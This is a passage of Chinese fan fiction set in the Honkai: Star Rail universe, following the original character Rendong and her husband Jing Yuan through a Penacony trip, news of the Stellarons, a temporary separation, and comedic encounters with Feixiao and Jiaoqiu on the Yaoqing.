景元起身,走到忍冬身边,伸手一拉,手牵着手就要迈进入梦池。
忍冬连忙张嘴呼喊:“等等!话还没说完呢!”
景元稍稍歪过头,一副不想听的架势,却乖乖停了下来。
忍冬正色说:“我知道我对卡卡瓦夏有偏见,我不否认。但我也希望他能有更好的未来,这并不冲突。”
“唉呀……本来想糊弄过去的。夫人~知道我不想听这个结果就不要说嘛~疼疼我不可以吗?”虽然景元自诩自控能力不错,但这不代表他在感情这方面不会胡搅蛮缠……这些年他明里暗里吃的那些飞醋,可明明白白显露了他内心对忍冬的占有欲。
爱人是自由的,但人性偏私,总有那么几分控制不住的阴暗私欲冒头。
忍冬对卡卡瓦夏的几分偏爱,是景元不太喜欢的。
景元转头熊抱住忍冬,长长的白发如同以往一般覆盖了忍冬的侧脸,在这股熟悉靡丽的身体气味中,他如同一个孩子一般,直白说道:“明明只看我就好……”
“我在看着你啊。”忍冬头顶了一下景元搁置在她头上的下巴,抬起脸注视着他的眼睛。
金瞳游移着避开了注视,抿着的唇无端好像嘟起了几度,闷声闷气说道:“……反正只能看着我。”
“我在看你。”忍冬又强调了一遍。
“要一直看着我。”
“好。”
忍冬放任景元紧贴着她躺下,就算他的手攥得她生疼。
在被入梦池带入梦中的匹诺康尼时,迷蒙中她也紧紧抓向他的手。
那只手在沉入睡眠时好似放松了几分,但在她抓回去时又紧攥住了,看来恢复了啊……
咕噜咕噜,神智在沉入无边的迷因之中,仰望头顶,只能见到一片湛蓝,但脚下却涌现了一片繁华的城市群。
一片白光闪过,忍冬拉着景元站在了人来人往的热闹街头,刚才那一瞬的寂静瞬间被热闹填塞。
“走吧,四处去看看。”恢复正常的景元带着忍冬往前走,笑吟吟的面孔一如以往,但他的手却依旧紧攥着忍冬。
忍冬轻叹,顺从着答道:“好~”
暖黄、铂金、绚蓝、流光溢彩,梦中的匹诺康尼向他们展现了梦幻纷飞的世界,带着惹眼的吵闹。
“人真多啊……”忍冬不自觉感叹。
“其实跟罗浮的人流差不多。”景元理智的辨明。
忍冬不理:“但就是觉得比罗浮热闹是怎么回事……”
一片繁华,一场美梦,但美梦易碎啊……
在走过又一条街道时,忍冬扯了扯身旁的景元。在他看过来时,背过身挡住周围人的视线,指了一个方向:“那里。”
景元不动声色地悄摸看过去,在一片繁华中,有一个颓丧的男性坐在角落,眼神混沌,周身潦草。
“已经看到好几个差不多的人了。”忍冬凑到景元耳边悄声说。
“毕竟世界可没什么无所求的美梦啊……”景元眼神幽深的望着那个男人,但瞳孔深处映照的却是同样一片繁华的罗浮。
“还好艾莲娜只是来学习的,看这
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里这表皮不一的样子,真是跟我们老家差不多呢~就跟火药桶一样,就差谁人来点炸了……”忍冬一副担忧着摇头晃脑的模样,但她眼里的期待却难减分毫。
景元目不斜视地伸手捏住忍冬的腮帮子,在温软的触觉中,淡声说:“要是老家炸了,我们约莫得去沙漠里吃沙子了。你的星网也会断掉的。”
“所以我不是一直在帮忙嘛~我一个同人大触,却得放我读者鸽子,去给你研究那些压制魔阴身的药,我很辛苦的~”
景元歪头笑着,凑过去亲了她的脸颊一下说:“辛苦夫人了~”
之后,景元被忍冬拉着,拿着艾莲娜赞助的旅游小册子,游走在匹诺康尼的各个梦境中,跟各色折纸小鸟、钟表小子雕像、还有异梦游因合照。
最后一站,是寰宇大明星知更鸟的演唱会最后一程,折纸大学!
“忍冬妈妈!这里!啊,景元叔叔……”
跟卡卡瓦夏,即砂金很像的美丽女性站在折纸大学的门口朝他们招手,往来的人不断把视线投向她。
灿烂的金发,绚丽的三色瞳,妍丽如花的样貌,艾莲娜是一个跟砂金相似的美人。
但跟砂金开屏孔雀一般冲击性满满的美貌不同的是,艾莲娜像一朵绮丽的水中幽莲。虽样貌出众,但气质更为幽静。
就比如现在,虽然是一脸灿烂的笑意,但笔挺站立的姿势,收束的手脚都在向忍冬宣告,这孩子已经在忍耐了。
“虽然不排斥社交,但果然还是不喜欢啊……”忍冬轻叹。
“叫夫人就叫妈妈,我就是叔叔,还是这般差别对待啊,卡卡瓦夏那小子……”景元的关注点跟忍冬不同,他先是注意到了养女跟以往不一样的称呼。
明明之前都叫他父亲的……虽然没有很想喜当爹,但叫夫人妈妈,却叫他叔叔……果然是卡卡瓦夏那小子要求的吧!
“咳、噗!”忍冬离景元很近,所以她很清晰的听见了景元的抱怨,并呛了一口,喷笑了一声。攥着她的手掌瞬间收紧,忿忿不平地开始用手指按来按去。
“对不起。”忍冬顺过气乖乖道歉。景元轻哼了一声,没有接话,手下的小动作不停。
这时候艾莲娜已经小跑了过来,眼神亮晶晶的望着忍冬,欣喜地说:“忍冬妈妈!快点快点,知更鸟小姐的演唱会就要开始了!”
艾莲娜伸手试图拉忍冬,但景元的大掌已经准备就绪,在忍冬伸手前就抓住了她。
“额……景元?”忍冬给失落的艾莲娜歉意地扬了个笑脸,转头瞪了景元一眼,但没有让他把手放开。
艾莲娜摇了摇头,打起精神,笑容灿烂的继续催促忍冬他们。
“知更鸟小姐的演唱会真的不容错过!忍冬妈妈你们绝对得听听!演唱会门票还是卡卡瓦夏特意准备的!我跟彦卿规划了好久,刚好可以让忍冬妈妈过一个精彩的生日!”
是的,这一场旅行是忍冬迈步进入八百岁的生日礼物。满八百岁是一个很重大的日子,就如同景元满八百岁时一样,她已经不能在含糊的称自己只有七百多岁了。
在演唱会舞台上的少女唱着悦耳动听的歌曲时,忍冬在心底默哀自己青春的逝去。
虽然七百多岁也算不上青春了吧……
27. 万界之癌
匹诺康尼狂欢的三天过去,忍冬和景元回到了罗浮。
对忍冬来说,一切又回到了以往的日常中,喝茶、看书、脑子灵光一闪,做个实验、偶尔想起来就打打字……
但对景元来说,一切却逐渐急迫起来。
随着星穹列车的再次出航,寰宇中各方势力又开始打起了自己的小算盘。且几百年过去,在罗浮上被斩断的丰饶余孽的肢触又开始萌芽,随着仙舟内部一些老不死的觊觎而逐渐壮大。
“唉……”景元放下手中这份整合而来的文件,幽幽叹气。
符玄带着最新的占卜结果来汇报就听见了他的叹息。
肉眼可见的,符玄的眼睛亮了几度,压抑着急切的脚步试图冷静向景元汇报这份重要的占卜结果,但一开口,便是质询景元年纪大了。
景元的眼瞳更幽怨了:“符卿啊~不止女人的年龄戳不得,男人也是如此啊……更何况我的容色可跟夫人的宠爱挂着勾,你莫要如此咒我可好?”
虽是这般打趣自己的话,但景元的眼神幽幽的冷啊,符玄既被他肉麻到,也被他的眼神吓到。
符玄搓着手臂上应激的鸡皮疙瘩,一脸不可言说的瞪着景元,气势磅礴地把要送到他手边的占卜结果甩到了他的办公桌上,打乱了一旁景元上班摸鱼时自弈的棋局。
“将军!占卜结果!本太卜还有很多事,就不久留了!”
压抑着情绪的低吼说完,符玄头也不回,也不打算帮景元解开占卜结果,就这么走了。
景元笑着摇了摇头,打开了符玄带来的签文,看了一会儿就放下了。
“果然啊……”
*
【一株药材:欸?万界之癌?虫子还是饿殍?或者是丰饶民?】
【艾丝妲:不是这些啦~是星核!】
【一株药材:好像有听过……】
忍冬放下玉兆,摸着下巴翻了一会儿大脑,确定相关的消息已经被她的D盘删除了,果断转身去翻书房。
由于跟景元结婚了,所以两家的院子不光打通了那道隔离墙,后来也请人来重新规划装修过了。两人的书房又恰巧挨在一起,直接被打通装修成一间大书房了。
这里不光有忍冬看的医书和小说之类的东西,还有景元偏好的战事类、谋略类书籍和一些古籍。
忍冬直直走向自己规规整整码在一起的书,抽出这本翻翻,抽出另一本翻翻,但就是找不到相关的书。
“奇了怪了,明明脑子里记得在哪本书里看过的……”忍冬挠挠头,不打算纠结了。
她把翻出来的书又整理了回去,嘀嘀咕咕的期待着景元回家,“问他应该知道”。
弄完这一出,忍冬又想到了一件事。
她走到景元的书架边,从中抽出了一本文件夹。薄薄的牛皮硬壳中,仅仅包裹着几页纸张。
忍冬翻开它,对着其上印着的两张照片开始走神。
是很陌生又熟悉的脸,一张是同她一道来到仙舟的少年,一张是有点讨厌的高傲冷脸。
那蓝眼少年变成了这张照片中满脸杀气的红眼青年通缉令,那孤傲的龙尊成为了浪迹宇宙的不归人……
“星河猎手、星穹列车……你们又在其中扮演了什么角色呢?”
小院里的月季已经不是当初那般病歪歪的模样了,它爬山越墙,气势高涨,粉嫩的花朵如同倾潮的海水,一片飘摇,风吹过,便在书房的窗前落下了粉色的雨。
碧色的眼瞳印着它们,思绪纷飞中突然联想到了罗浮上的建木跟星核的共同点,能量不竭、来源都为星神那一级别、还无法破坏……
“这东西,感觉跟仙舟古籍中常常出场的砒霜有点类似啊……”
毒!
后来,忍冬改变了这个想法。
但在当前,忍冬继续浮想联翩,等待着景元回来。当然,这么说并不正确,她其实每天的生活都这样,只不过因为有事想问景元,所以等待才成为今天的主调。
沏一壶茶,摆上几盘精致美味的糕点,手中执着这些年推陈出新的一本代表性言情小说,翻看着这本男主封面跟某人外表雷同、经久不衰的披皮文学,忍冬脸上涌现了几分幸灾乐祸的笑。
毕竟……
她抬起眼皮瞟了一眼一旁堆着的小说封面,眼中的笑意是遮都遮不住。
“经典啊~经典~哼哼~白毛俊朗将军、高岭之花尊者、腰细胸大铁匠、温柔开朗白月光、阴郁清冷美强惨,真是年年都见,年年如新啊~”
“今年……噗、流行复古狗血文呐~”
“你爱我,我爱他,他爱你~哎呀哎呀~”
一池之隔,彦卿无语的看了那边兴高采烈的师娘一眼,无奈的叹气。他脚边的竹林掩映下,也是一堆花花绿绿封面的小说。由于爱好者较少,所以没有在玉兆的打榜中战胜经久不衰的“圣典”,成功被彦卿从忍冬手中拦截下来。
只见其上的容貌特征也是十分熟悉,娇小的天才剑士、温煦的作家游医、可爱的龙女、海王的金发孔雀、艳丽的水中幽莲……
凡所应有,一应俱全。
“唉……”彦卿又沉沉的叹气了。他实在是不懂,他跟师娘他们有什么可写的?为什么一定要在虚幻世界给他们安排点不伦的关系呢?他真怕师父看见啊……
以前景元对这些是看得很开的,但随着年岁渐长,魔阴身的时间逼近,他渐渐开始不能看这些了。特别是小众到在小说里跟他抢忍冬的那些作者,他有好几回都要忍不住去给他们找点事了。
由于彦卿是景元的贴身护卫,对于这件事他了解得很清。但景元不想忍冬担心他(毕竟魔阴身在仙舟的观念里也代表老了……),所以瞒得死死的。
之后,就是彦卿自觉去处理这些了。
为了不激到师父,为了不让师娘看见他们的糗事,为了这个家的和谐……他真是做得太多了!
彦卿,又是为家里人操碎心的一天~
“嗯?彦卿?你在那里干什么?快过来,师娘这里有点心~”不清楚此中缘由的忍冬高兴的招呼着,彦卿对她绽放了灿烂的笑容,说着“我就来”,脚下却把那堆小说踹到了竹林更掩蔽处。
之后再来处理吧~
傍晚,景元慢悠悠的走了回来。
彦卿跟忍冬也在庭院里喝茶吃点心了一天,在夕阳如火的红披下,家家户户的游人又回到了各自温暖的港湾。
青瓷的杯盏映照成了沉艳的红,杯中遗留的半杯冷茶中飘着两根茶梗,悠悠的,跟吃饱喝足起身,相携走入房屋的三人的步调很像。
“今晚在家里做饭吧。”忍冬说。<
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“师娘,我饱了!我不饿!”
“夫人,你是想毒杀亲夫吗……”景元的声音好似没有落点,幽声问。
忍冬瞥了如临大敌的两人一眼,一脸不解:“我做饭没有难吃成那样吧?用的着如此吗?”
“是不难吃……但师娘,就算是做出糖炒视肉的燕翠阿姨也不会想把所有东西全往锅里倒啊?!”彦卿回想起那一道道色相难言的不明红色、青色、黑色菜品,脸都快绿了。
“哈?!我是为了谁啊?!你们这两个不省心的!前些年天天上前线就算了,回来之后景元又有了倦怠之症,要不是想推迟着举刀相向那天,我用得着下厨吗?!”忍冬愤愤不平,念念不绝,神色狰狞,直训得师徒两人呐呐无言。
“要、要不,师父你做饭吧?”彦卿试探的询问说。
景元长长的、长长的叹了口气,答应了,但转身走入厨房却故作垂丧的念着:“老了老了~这几步都让人脚步顿迟了……”
“他演的。”忍冬不配合的拆台。
但彦卿终归还是受不住良心的折磨,毕竟算起来,他吃将军的,用将军的,到月底还得可怜巴巴求将军……不,是师娘。
没办法,这家里的掌勺大事,就只能让他来承担了!师娘菜毒,师父懒散,卡卡瓦夏有事业需要打拼,艾莲娜一个女孩子不应该常驻厨房,算来算去,这家里,还真只有他能担此大任。
唉,这就是责任的重量吧……
少年摇头晃脑的走入厨房,兢兢业业的开始了颠勺大业。
而留在客厅的忍冬跟景元,却说起了星核。
“艾丝妲说,黑塔在空间站发现了星核的痕迹。”忍冬把景元按坐在椅子上,她站在他身后,指尖绿光微闪,开始按摩他的额头。
景元顺从的闭上眼睛,睫毛微颤,说起了今天看到的文件跟符玄送来的占卜结果。
“万界之癌,不愧是万界之癌……据相关消息预测,大抵已经有很多地方出现了。”景元的声音稍显疲惫,身躯渐渐靠到了身后的椅背上。
忍冬动作不停,眼里带着怜惜,抿了抿唇角,迟疑着说:“丹恒好像上了列车。”
“他的话,倒没什么意外。”景元回道。
忍冬停顿了一下,继续说:“……应星,现在好像改名为刃,也开始活跃了起来。好像是成为了星核猎手。”
景元睁开眼,对着那双担忧的绿瞳,轻掀了唇角一下,慢吞吞地说:“不必担心,水来土掩便是。”
忍冬牵起唇瓣笑了一下,但景元一闭眼,她的笑便撤了下来。
不担心……怎么能不担心啊?只有那个人,那个你敬爱的师父还没有消息啊……
云上五骁的时代过去了,但又好像没过去,丝丝缠缠,又有将跟现在起纠葛的趋势。
当一个人没有对某样事务或人投入太多的情感时,她可以笑看所有的一切;但当她被牵扯入内,心甘情愿付出情感时,过去笑看的一切又会成为心里的隔阂。
孤高的明月,是景元过去的遗憾之一。
……也是忍冬的遗憾之一。
或许当时接触了,她便不会这般心焦火燥,差距太大,她会自己说服自己。可能也会成为暗暗赞扬她的人之一。
多遗憾啊……明月已去,不知归期。
28. 分别
罗浮之上,云骑渐渐有了一些不同以往的巡逻线路,且听白露抱怨,丹鼎司内的气氛也逐渐紧绷。
这些,都跟忍冬这个连编外都算不上的游医无关。
“欸,我又胡了!”青雀的牌运又一次从她这里搜刮走了一小笔钱财,忍冬眨巴着眼看着手中颜色绚丽的幺鸡,非常想摆手不干。
但大约是她的想法都摆到脸上了,所以之后勉强的几局,青雀和她的朋友很明显串通一气给她放水了。虽然那位叫素裳的曜青剑士演技非常之差,牌技连她也不如,马脚已经四脚朝天了……
这几局对青雀来说十分不畅的牌局结束,她果断收手了。而忍冬输出去的钱财又被隐晦的送回了她手里。
忍冬除青雀外,其他的两人根本不熟悉,所以在她们说话时,手指一直拨弄着桌面上的琼玉棋牌。
触手温凉细腻,是上好的玉石打磨而成。这帝垣琼玉,是青雀跟她的工造司友人根据一位不愿透露姓名的太卜司卜者查阅古籍整理得来的信息和规则打造而成,一经推出,已经风靡了广大罗浮。
但忍冬不太喜欢,因为她玩不来。
“这般无趣,不若一同去长乐天玩玩?小女子长时间在外行商,对于罗浮上新出的新奇玩意儿可是好奇得紧~如何?忍冬小姐可否给小女子介绍介绍?”
这位说是青雀的朋友,不如说是被她拉来打帝垣琼玉的工具人,算是罗浮上较为知名的商团当家人之一,停云,一位狐人。
现下,她俏笑着望着她,眼波似水,眉目传情,忍冬手下滚着棋牌的动作进不是,退不得。
她在青雀和素裳看过来的视线下平静的把手收束到了腰腹处,一派温良地回应道:“停云小姐这可是问错人了,我虽一直在罗浮,但不喜外出,也对这些风潮不敏感,恐怕无缘给小姐讲解了。”
说着这话,忍冬的内心宛如正在赤脚走过荆棘丛,尴尬得无以复加。
因为,她也是被青雀抓获的工具人之一啊!
停云打开手中的折扇,仅露出眼睛望着忍冬,纤细的眼尾弯弯,笑着说:“没关系~小女子只不过想找个借口与忍冬小姐搭话罢了~”
忍冬此人,最怕别人明目张胆的谋算,还直接摊到她面前。
对于面前这位已经摸准了她的性子,直球出击的女子,忍冬不得不打消掉半途跑路的想法。由停云带头,几人一同去往了长乐天。
长乐天算不上罗浮最热闹的地方,但绝对是罗浮本地人最多的地方。这里不止有地衡司,还有最好的书店——三余书肆,而停云的目标一开始就是这里。当然,这里不止有这些,还有很多闲暇时聚集在周围下棋、喝茶的人,也有……神策府。
被带到长乐天,忍冬是有点疑虑的,毕竟停云比她实在是小,且她跟景元的关系虽没有大肆声张,但该知道的都知道了,也包括景元那堆小迷妹。
所以一开始忍冬以为停云是冲着景元来的,但当来到三余书肆,看着停云买了一本她由名字到内容都很熟悉,熟到不能再熟的小说之后,忍冬的眼睛灰暗了。
掉马了啊……
停云珍惜的揣好小说,转头看着忍冬无神的双眼,笑了:“哎呀~直接就猜到了吗~”
“什么什么?你们在加密通话吗?!有什么是我不能知道的?”青雀小跑到忍冬身边,双手一伸,挂在了忍冬身上。
素裳愣愣的看着青雀的动作,不知是那根弦搭错了,也学着青雀,挂在了第一次见面的忍冬身上,还附和着青雀说:“就、就是!”
“你们两个……”忍冬说话都有气无力了,肩膀被压着,沉重到都抬不起手来,难得整齐辫在脑后的长发都显得不那么精神了。
停云不说话,就笑看着她,脸上全然一副由她做主的样子。
但……你个罪魁祸首!让我做主,你不都漏底了吗?!
忍冬很生气,后果很严重。
她要在下一本小说里编排她们!
“忍冬,你排挤我!”青雀趴在她肩上,脸上的调笑遮都不遮。毕竟以青雀的聪明,联系停云和忍冬的前后表现,她能猜得出来。只不过……这位长辈啊,实在是太过慢热了~还得她亲历亲为的拉近关系才是。
想到忍冬与景元的关系,再由景元联系到自己的恐怖领导,青雀真想赞自己一声明智。
影响忍冬间接影响将军,再由将军影响太卜大人,她真是谋略无双啊!
想着想着,青雀脸上浮现了窃笑,像偷了灯油的小老鼠。
但根据《三个和尚挑水喝》的仙舟古寓言来说,接下来就是偷鸡不成蚀把米,反要引火烧身了。
“青雀?你又偷懒!”符玄不知从何处快速跑了出来,青雀跟应激一样,下意识就从忍冬身上跳下来,转身跑路。
素裳跟忍冬不熟,看青雀这样子,也慌忙跟在她们身后跑起来。
就在三人像串葡萄一般跑走后,神策府方向走来了景元。
他笑眯眯的跟忍冬说:“搞定。”
忍冬松了口气,自然凑到了景元身旁,然后再自然的看向停云。
停云见忍冬的一系列动作,知趣的笑了起来,并不知从哪里掏出了一支笔,把刚买的那本小说递到了忍冬跟前:“签名~”
忍冬瞥了一眼景元,在他不变的笑脸中接过了那支笔,在小说的扉页写下了自己的笔名,然后还给了停云。
停云向景元点了点头,向忍冬打过招呼后就转身离开了。
而摸鱼跑出来的景元则带着忍冬坐到了一张无人的木桌边,手捏着忍冬的指肚低头不言。
忍冬张口想说什么,但最终也闭口不语。
沉默在他们之间蔓延,两人都像在较劲一般,等着对方开口。
忍冬自两百岁时跟景元做了邻居以来,虽算不上天天相处,但六百多年下来,对对方的了解已经算是了如指掌了。
所以对于这段时间忍冬低落的情绪,景元是有察觉的,他想让她对他说出来。
虽大致能猜到她是在为什么低落,但景元不明白,这么长的岁月了,她为何还是不能对他直言?
忍冬也知道景元的意思,但,就跟人不能在他人面前剖开内心一样,她也无法直视自己这无
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理取闹的妒忌。
她没有成为父亲那样对伴侣狂热的人,她变成了一个胆小、畏缩,既明白自己的卑劣,也拒绝去改变它的人。
“唉……”景元叹气了,他把五指插入忍冬的指缝中,跟她十指相扣,看着紧贴着但仍旧有缝隙的指缝,低声喃喃:“我明白你是这样的人,但我总是很贪心,想让你放弃自己的坚持。”
“忍冬,我们分开一段时间吧。”
景元不知道自己是怎么说出口的,也不知道自己脸上的笑难看到了何种地步。他抬头看着忍冬,用那双忍冬称赞过很多次的金眸,像太阳一样的金眸,模糊中望着她,他的爱人。
“你在嫉妒,因我对师父的仰慕,是我把你拖入了感情这滩泥沼,是我控制不住想独占你的欲望……明明你是一个很冷静,能独自生存的人……”
他的说话声很低,过长的额发也挡住了他人窥探的视线,所以景元看不到自己渐渐通红的眼眶,也看不清忍冬哀伤的眼底。
“好。”忍冬想,如果没有她,他是否能是仙舟上无坚不摧、算无遗漏的神策将军,不会在八百年岁之际,开始陷入魔阴身的纠缠……明明他也是一个坚韧理智的人,因她,他失控了……
就像仙舟年年都有的分手一样,他们平淡至极的分开,转身躲入无人处。
高墙悬隔,景元的眼睛一只笑着面对众人,一只躲在额发后垂眼闭目。忍冬散下了长发,又如同姥姥去世那段时日披散着,仅用一把红木梳别在后脑,眼尾湿润了,但天也下了小雨。
忍冬以赶稿之由躲了几日,景元的演技很好,彦卿没有发现。至于远在公司的砂金和匹诺康尼的艾莲娜,他们也都没有发现。
感情是很美好的东西,但人不是。得寸进尺,贪婪无度,是他们两人都要承担的罪责。
忍冬很快订了去往曜青仙舟的飞船,在没有告知的情况下离开了罗浮。
对白露等朋友的借口是,罗浮看腻了,她要去曜青小住,看看貌美的狐人和与罗浮氛围不太一样的持明……
景元依旧很忙,对彦卿和那些朋友由此感知到的不对劲选择敷衍了过去。
当他想达成什么目的的时候,从未失手过,就算这次让他几近崩溃的分别也一样。
理智牢牢占据了他的大脑。
直到夜深人静时,他熄灭书房的灯火,收拾书桌打算休息,却碰到了一本花花绿绿的小说,喊出那一声夫人为止。
夜晚从没有这般寂静过,眼眶微红的景元听到了院里微风吹动竹叶的声音,风抚过池水的声音……明明是很细微的声音,但这时候就是显得很刺耳,刺耳到让他想发脾气。
……可没有人会走过来抱住他了,说着“哎呀~生气了?”的打趣。
他后知后觉的发现,自己被忍冬宠坏了。
距罗浮好几个星系的曜青仙舟上,忍冬却没有远离忧愁的轻松,反而随着距离而更加沉重。
这是第一次,她将要跟景元分别一段无法预估的时间。
明明都希望对方好,可笨拙的她跟他,现在需要一段冷静时间……
29. 曜青
曜青向来是仙舟联盟中数得上的好战仙舟之一,近些年来一直高居前线,并不断出现一些新锐人才,比如貘泽、比如椒丘、再比如……飞霄将军。
当忍冬发现身边时不时迅速窜过的一阵风时,她就大致猜到是怎么回事了。
飞霄,这个曜青近两百年新近的天击将军,也跟景元的闭目将军一样,拥有一个号称大捷将军的诨号。最有意思的一个点是,她是一个无尾狐人。
这些都不是忍冬关注她的原因,主要是她身边一直跟着的一位医士,跟景元有点交情。
椒丘,据说跟飞霄形影不离且为人古怪的医士,跟忍冬是同僚。
忍冬不明白景元是怎么对飞霄他们说的,但她确实对这几人暗中保护她的行为心存感激。只不过……她可能要很久之后才能当面跟他们表达自己的感谢了。
临窗往下望,曜青的街道氛围跟罗浮好像没什么区别,但这些全然陌生的脸,却在此时既给忍冬安慰,也给她惶然。
她有多久没有考虑过自己了?
自从那纸签名之后,她好像真被仙舟的观念束缚了,只安心的待在罗浮上,除了茨冈尼亚那次出行以外,她居然没有想亲自去探寻这孤寂而又热闹的宇宙……
“我要出去看看。”她喃喃自语。
“景元很重要,因为我爱他。但我更重要,因为我更爱自己。我要出去。”
自孤自长的孩子,从不会为无法强求的东西停留,景元是自由的人,不是她的战利品,她不能因为自己的原因而想改变他。
……那改变自己就好了。
如果喜爱的很少,那就让它们变多,多到不会再把太多期望放到景元身上。
“如果真的分开,我会伤心吗?”
街上的人渐渐散去,家家户户都点上了红灯笼,一片火红中,好像热闹得让她也跟着有了一点欣慰。
太好了,有人还在陪自己醒着。
月亮独为己倾身,多美好啊……
绵软的酒液滑入喉咙,后劲泛起一阵热辣,让她的眼眶也开始泛红。
……
“举杯浇愁愁更愁~不如火锅得人心~将军,吃吗?”椒丘手中的筷子夹着一块红艳艳的肉举到愣神的飞霄面前,笑眯眯的狐狸样一看就不怀好意。
飞霄爽朗大笑,手中的酒坛子不动声色想往身后藏:“不了不了,我消受不起如此重辣~”
“哦?”椒丘上挑的唇边带着几分意味深长,哼笑着把肉塞到了自己嘴里:“但我看将军好像不是消受不起的样子~”
飞霄心弦一紧,手中捏着酒坛就想跑,但她身后的一块阴影却瞬间蠕动,扑抢过了她的酒坛:“欸?貘泽你也在啊?”
貘泽掂量着手中空落落的坛子,叹气放到了吃着火锅的椒丘面前:“全喝完了。”
“唉呀~接下来可难办了……”椒丘虽这般说着,但望向飞霄的眼尾眉梢却写满了兴味:“看来我们将军又得有点好戏看了啊~”
貘泽扭头望向自顾自往外走的飞霄,眉头紧皱:“将军这次又会干什么?”
“唔……嘶~好烫好烫!咕咚。”椒丘又夹了一块沾满汤汁的豆腐果,在烫到嘴皮呼呼吹了好一会儿后,一口咽了下去:“大约是去找神策将军的家室了吧~”
“那位?为何?”貘泽不解。
椒丘在锅里翻找的筷子一顿,指向他的面门,笑眯眯的说:“当然是因为将军喜欢她了~”
“这不太好,抢他人妻室,还是罗浮神策将军的妻室,会打起来吧?”
“哎呀貘泽~管那么多作甚?反正以将军的本事,第二天绝对又是断片,只要那位小姐不说,我们及时记录,那就皆大欢喜了。”说着这话时。椒丘已经把锅底翻得底朝天,连锅里飘的辣椒段都吃了干净。
他起身,拿出手中的玉兆,笑看了一眼,向貘泽展示了屏幕:“看,没到抢人的地步,是不是担忧小多了?”
屏幕之上,从居高临下的角度拍摄下了两个醉鬼搀扶着对方,互相抱怨的画面。甚至以那头机巧鸟的优越性,貘泽还能听见两人牛头不对马嘴的嘀咕。
“该死的景元、嗝……我、我讨厌你!!为什么不、不哄我?移情别恋了对吧?!渣男!!……”
“啊……凝梨、天、天好亮,又有流、流星了吗……唔,喝酒!酒、酒呢?……”
“好看对吧~明天给将军一看,哎呀,又能安分一段时间了~”椒丘一派轻松的解释,顺手在玉兆上点了保存视频。
貘泽欲言又止,但他隐隐发现了椒丘积压的怒火……对着将军不听医嘱的怒火。
他只能在心底为将军默哀了,清醒且没有把柄的将军能理直气壮反驳椒丘,但酒醉且留下把柄的将军一定会被这狐狸狠狠拿捏。
他不能葬送自己。
……
天光刺目,飞霄想伸手挡住,但一抬手,便把什么温热似活物的东西掀了出去。
一声闷沉的砰响,忍冬混沌地从睡梦中清醒过来。
她迟钝的睁眼,跟躺在她床榻上的飞霄大眼瞪小眼。
空气静默了好久,直到一股古怪刺鼻的药味涌入房间,且越来越浓。
“是醒酒汤……”这是闻出来的忍冬。
“还是浓缩版……”这是头疼反应过来的飞霄。
忍冬看着飞霄,虽眼眶有点红肿,但眼神分外难言:“……飞霄将军,看来您让椒丘医士很头疼呢。”
没等飞霄说话,忍冬接着说:“看这上药的速度,他估计是全程都看着吧?”
忍冬对着唯一大开的窗户望去,果不其然在对面房檐上看见了一只蹲着的机巧鸟:“喏~”
飞霄头疼,她不用看也知道椒丘会做什么,忍冬指着的又是什么。但她还是试图缓解这令人焦灼的气氛:“那个……他估计不是故意的……”
“是有意的。”忍冬笃定接口。
那双不容辩驳的碧瞳看着飞霄,让飞霄接下来的话怎么都说不出口。毕竟,以她了解到的情况来看,他们在人家伤心之时搞出这一出实在是有结仇之嫌。
“哎呀~忍冬小姐~这话就有失偏颇了~”,门被从外推开,进来的眯眯眼狐狸用托盘端着两大碗漆黑冒着难闻气味的醒酒汤,笑盈盈的为自己辩解:“在下只是没有阻止,怎么能就算故意呢?”
他把那托盘往床头柜一放,摊手一请:“请先喝解酒汤吧~毕竟宿醉后多少有
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点昏沉不是吗?”
飞霄倒没有反抗,直接伸手端起汤药,一饮而尽。与此同时,她还不忘把另一碗直接塞到忍冬手里:“喝!”
忍冬望着碗里的漆黑汤药,看着上面倒映出的自己,心里多少有几分难堪。
明明感觉没有那么悲伤的,但现在她的脸居然这么难看吗?还哭了啊……
忍冬喝下了这碗醒酒汤,在椒丘和飞霄含笑的眼神里。
“对了,忍冬小姐初到曜青,出于对椒某的行为赔礼,就让将军为您作导,好好欣赏一下本地与罗浮不同的风俗吧~”椒丘大言不惭的提出这等提议,好像全然忘记了之前忍冬说的话。
忍冬都顾不上伤心了,她难解的看着椒丘,再望了望飞霄:“他……”
“是个怪人。”,飞霄肯定了忍冬未说出口的话,还点了点头:“不过他没有什么坏心思,虽有一定担忧我的成分在,但也一定有为忍冬小姐考虑的原因。”
忍冬明白,毕竟她又不是什么大人物,不值得椒丘和飞霄这般算计。
但……“你知道?”,忍冬还是问出口了。
看着飞霄沉默的表情,忍冬就大抵清楚了。
毕竟景元是神策将军呢,跟她这个普通女人分开,一定有人大快人心吧。那么,传到曜青就没什么疑惑了。
“对了~忍冬小姐是否要看椒某做的手脚?很有意思哦~你们两个昨晚喝醉后的样子~”
“椒丘!!”飞霄炸毛了,并伸手试图抢夺他手里的玉兆。
椒丘没有反抗,他一个后勤医士反抗什么?
但把椒丘的玉兆夺到手里的飞霄却非常生气:“你把那种出糗视频发给其他朋友了?!还让他们记得云端保存?!”
哎呀……这真是独乐乐不如众乐乐啊……
面对椒丘这类把坏心眼写在脸上,且真的实际去执行的人,忍冬有点佩服。因为她过去也有很多次想这么做,但顾忌到景元,所有想法都烟消云散了。
不过……拍得有她对吧?还可能是哭着骂景元的涕泗横流丑样……
浓绿到近黑的藤蔓突然窜出捆住了椒丘,忍冬一脸义正言辞,对飞霄说:“将军,我拖住椒丘先生,你快点去解决那些人吧!”
“解决?多恐怖的用词啊~”一股红色的火焰窜起,烧上了藤蔓,让椒丘恢复了行动能力。
他笑吟吟的看着一脸正气的忍冬,眼尾闪过可疑的弧光:“我的朋友可不止在曜青啊~”
“啊……飞霄!动手!!”忍冬呆滞了一瞬,眼睛瞬间瞪大,眉头倒竖,手中捏着红鞭就想抽他。
飞霄本来也是生气的,但大约看到忍冬比她更气,居然心里有了点安慰,迟钝了几息。
就这几息,椒丘已经被突然出现的貘泽带着跑了,还不忘留下一句:“忍冬小姐,椒某的恩情,消气之后可得记着还哦~将军就留给你练手了~”
“哈?为什么又有我?”飞霄指着自己,一脸状况之外的看着瞪她的忍冬询问道。
“因为起因就是你啊!!”忍冬压抑着怒气,斥道。
这些人,到底是来干嘛的?!算计她的劳动力吗?!还说开解她,不如说是看上了她的医术吧?!
30. 朱明之剑
虽对椒丘的行为心怀怨念,但让她医治飞霄倒没什么,不如说是很感谢了,让她没时间去思考他到底把那视频发给景元没有。
对罪魁祸首说感谢……她一定是脑子被气昏了头!
忍冬伸手敲了几下自己的额头,感觉清醒之后,又投入了下一项研究。
